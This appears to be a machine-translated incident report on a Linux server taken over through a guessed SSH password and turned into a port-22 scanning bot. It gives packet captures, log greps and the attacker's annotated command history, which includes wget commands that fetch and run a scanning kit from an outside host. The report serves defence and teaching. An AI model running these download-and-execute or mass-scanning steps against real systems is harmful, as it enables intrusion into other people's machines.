The Linux server is recorded as a zombie.

The Linux server is recorded as a zombie.
Full-process recording of Linux servers falling into zombie status

• Full-process recording of Linux servers falling into zombie status
  • Starting from firewall Paralysis
  • How to find the hacker's whereabouts
  • Fall Process Analysis
    • 1 oracle user password cracked
    • 2 hacker action deduction
    • 3 Overview of attack tools
  • Profound Lessons

1. Firewall Paralysis

On September 10, March 10, 2015, the company was notified by phone that the Office could not connect to the Internet. The network speed was very slow and the webpage could not be browsed normally. The company was in a hurry and began to look for problems.

First, the switch fault is ruled out because the internal LAN is normal. When the firewall device is pinged, packet loss is severe. Obviously, the firewall is out of service and its Web management interface cannot be properly logged on. Immediately contact the service provider to remotely locate the problem. After nearly three hours of analysis, it is concluded that two hosts in the network can send a large number of TCP packets, resulting in 0.4 million connections on the firewall in an instant, the firewall's processing capability is greatly exceeded, resulting in failure to respond to normal routing requests. For the moment, we call these two machinesAAndB. After the two machines are disconnected, the network immediately becomes normal, and the number of connections on the firewall quickly drops to the normal level.

HostAThe configuration is as follows:

• OS-RedHat Enterprise Linux Server release 6.3
• Deployment software-Tomcat, sshd, oracle
• RAM-4 GB
• CPU-Intel Core i3-2130
• IP address-172.16.35.201 (ing to 59.46.161.39)

HostBHost hosting for the customer. The specific configuration is unknown.

This document only applies to hostsAFor analysis.

Capture packets through the firewall command line interfaceAMachines are crazy about a group of IP addresses.Port 22 Scan. The following is a packet capture result segment:

proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0

Clearly, the BOT scan program frantically scans port 22 in a CIDR block.

2. How to find the hacker's whereabouts

For Linux Hosts, logs are mainly used to analyze and process problems. /Var/log/messages,/var/log/secure are all essential analysis targets, and then the. bash_history Command records. When a hacker logs on to a host, the logs are bound to be recorded. Senior hackers may be able to delete the traces. However, most of the hackers currently use the tools they have no technical background. The host opens three TCP listening ports:

• 22 sshd
• 80 Tomcat
• 1521 Oracle

All three services may be attacked due to vulnerabilities. the sshd username and password are the most vulnerable to scanning attacks. Therefore, first analyze the/var/log/secure log to view the logon history.

3. Analysis of hacking process 3.1 oracle user password cracked

Analyze/var/log/secure logs. The log occupies four files, each of which records a large number of logon attempts. Run the following command:

cat secure-20150317 | grep 'Failed password' | cut -d " " -f 9,10,11 | sort | uniq

Get
Invalid user admin
Invalid user dacx
Invalid user details3
Invalid user drishti
Invalid user ferreluque
Invalid user git
Invalid user hall
Invalid user jparksu
Invalid user last
Invalid user patrol
Invalid user paul
Invalid user pgadmin
Invalid user postgres
Invalid user public
Invalid user sauser
Invalid user siginspect
Invalid user SQL
Invalid user support
Invalid user sys
Invalid user sysadmin
Invalid user system
Invalid user taz
Invalid user test
Invalid user tiptop
Invalid user txl5460
Invalid user ubnt
Invalid user www
Mysql from 10.10.10.1
Oracle from 10.10.10.1
Root from 10.10.10.1
It can be seen that the attack program keeps trying with different accounts and passwords. Then, the following two lines are found near the end, which indicates the attack has been broken.

Mar  9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2Mar  9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

The oracle password of the account is guessed and successfully logged on to the system.

3.2 hacker action deduction

Let's take a look at what hackers have done with their oracle accounts. FirstCopy an oracle command historyTo prevent subsequent operations from losing this record.

cp /home/oracle/.bash_history hacker_history

View and analyze the file. I commented on the hacker's ideas later.

1 vi. bash_profile 2 vi. bash_profile (view. bash_profile: Check the variable settings and add/home/oracle/bin to PATH.) 3 ll 4 cd/5 vi. bash_profile 6 vi. bash_profile (run, set environment variables) 7 w 8 ps x (view system running processes) 9 free-m (view memory size) 10 uname-a (View System Version) 11 cat/etc/issue (view the system release) 12 cat/etc/hosts (check whether there are online machines) 13 cat/proc/cpuinfo (view CPU model) 14 cat. bash_history (view oracle account history operations) 15 w (view system load) 16 ls-a (view hidden files under/home/oracle) 17 passwd (change the password of the oracle account) 18 exit 19 ls 20 oracle 21 sqlplus (run sqlplus) 22 su (attempt to switch to the root account) 23 app00003456 (guess the root password) 24 ls 25 su-26 w 27 free-m 28 php-v (view php version) 29 exit 30 w 31 free-m 32 php-v 33 ps aux 34 ls-a 35 exit 36 w 37 free-m 38 php-v 39 cat bash_his (view History commands) 40 cat bash_history 41 cat. bash_history 42 wget scriptcoders.ucoz.com/piata.tgz (download bot attack package) 43 tar zxvf piata. tgz (decompression package) 44 rm-rf piata. tgz (delete Software Package) 45 cd piata/(switch to the attack Software Directory) 46 ls-a 47 chmod + x * 48. /a 210.212 (run attack software) 49 screen (try to run the screen command and download it if no) 50 ls-a 51 wget scriptcoders.ucoz.com/screen.tgz 52 tar zxvf screen. tgz (extract) 53. /screen 54 exit 55 w 56 ps x 57 cd piata/(switch to the attack Software Directory) 58 ls-a 59 cat vuln.txt (View Attack results) 60 ls-a 61 mv vuln.txt 1.txt (save attack results) 62. /screen-r 63 nano 1.txt (view result file) 64 w 65 ps x 66 exit 67 cd piata 68 ps x 69 ls-a 70 nano 2.txt 71 exit 72 w 73 ps x 74 cd piata/75 ls-a 76 cat 77 mv vuln.txt 2.txt (Save the result) 78 nano 2.txt 79 w 80 ps x 81 cd piata/82 ls-a 83 cat vuln.txt 84 rm-rf vuln.txt 85. /screen-r 86 exit 87 w 88 ps x 89 cd piata/90 ls-a 91 cat vuln.txt 92 ls-a 93 mv vuln.txt 3.txt (Save the result) 94 nano 3.txt 95 exit 96 w 97 ps x 98 cd piata/99 ls-a 100 cat vuln.txt 101 rm-rf vuln.txt 102 exit 103 w 104 ps x 105 cd piata/106 ls- a 107 cat vuln.txt 108 rm-rf vuln.txt 109 rm-rf 1.txt 110 rm-rf 2.txt 111 rm-rf 2.txt. save 112 rm-rf 3.txt 113 screen-r 114. /screen-r 115 exit 116 w 117 ps x 118 cd piata/119 ls-a 120 cat vuln.txt 121 ls-a 122 nano vuln.txt 123 rm-rf vuln.txt 124 screen-r 125. /screen-r 126 exit 127 w 128 ps x 129 cd piata/130 ls-a 131 cat vuln.txt 132 nano vuln.txt 133 w 134 ls-a 135 rm-rf vuln.txt 136 screen-r 137. /screen-r 138 exit 139 w 140 ps x 141 cd piata/142 ls-a 143 cat vuln.txt 144 rm-rf vuln.txt 145 ps x 146 ls-a 147. /screen-r 148 exit 149 w 150 ps x 151 cd piata/152 ls-a 153 cat vuln.txt 154 nano vuln.txt 155 w 156 rm-rf vuln.txt 157. /screen-r 158 exit

3.3 overview of attack tools

The attack tool package is named piata from the command history. Download it to see its face.

[root@localhost piata]# lltotal 1708-rw-r--r--. 1 oracle oinstall      0 Mar 10 13:01 183.63.pscan.22-rwxr-xr-x. 1 oracle oinstall    659 Feb  2  2008 a-rwxr-xr-x. 1 oracle oinstall    216 May 18  2005 auto-rwxr-xr-x. 1 oracle oinstall    283 Nov 25  2004 gen-pass.sh-rwxr-xr-x. 1 oracle oinstall     93 Apr 19  2005 go.sh-rwxr-xr-x. 1 oracle oinstall   3253 Mar  5  2007 mass-rwxr-xr-x. 1 oracle oinstall  12671 May 18  2008 pass_file-rwxr-xr-x. 1 oracle oinstall  21407 Jul 22  2004 pscan2-rwxr-xr-x. 1 oracle oinstall 249980 Feb 13  2001 screen-rw-r--r--. 1 oracle oinstall 130892 Feb  3  2010 screen.tgz-rwxr-xr-x. 1 oracle oinstall 453972 Jul 13  2004 ss-rwxr-xr-x. 1 oracle oinstall 842736 Nov 24  2004 ssh-scan-rw-r--r--. 1 oracle oinstall   2392 Mar 10 05:03 vuln.txt

Among them, a, auto, go. sh gen-pass.sh, are bash script files, used to configure the scan CIDR Block, call the scanner. Pscan2 and ssh-scan are scanning programs. List of bots obtained from the vuln.txt record.

No other system files have been modified by hackers, and no attack software is automatically set.

4. Profound Lessons

Although the attacked machine is only a test host, it is not very important, but it has caused firewall paralysis and thus the Internet cannot be accessed normally. In this regard, we must pay enough attention to it and learn from it.

• The system account password must be complex. This attack is caused by the simplicity of the oracle account password.
• Sshd logon using PasswordThe risk is high, especially when the password is simple. If possible, use the public key instead of the password method.
• As a Data Center Administrator, you must supervise and supervise the Service Security of system administrators and software developers. The host attacked this time is to grant all permissions to the website development company, development companies do not pay much attention to operational security.

HostAStatus, hostBI have no management permission for the client host hosted by our company. I am waiting for their inspection and modification report.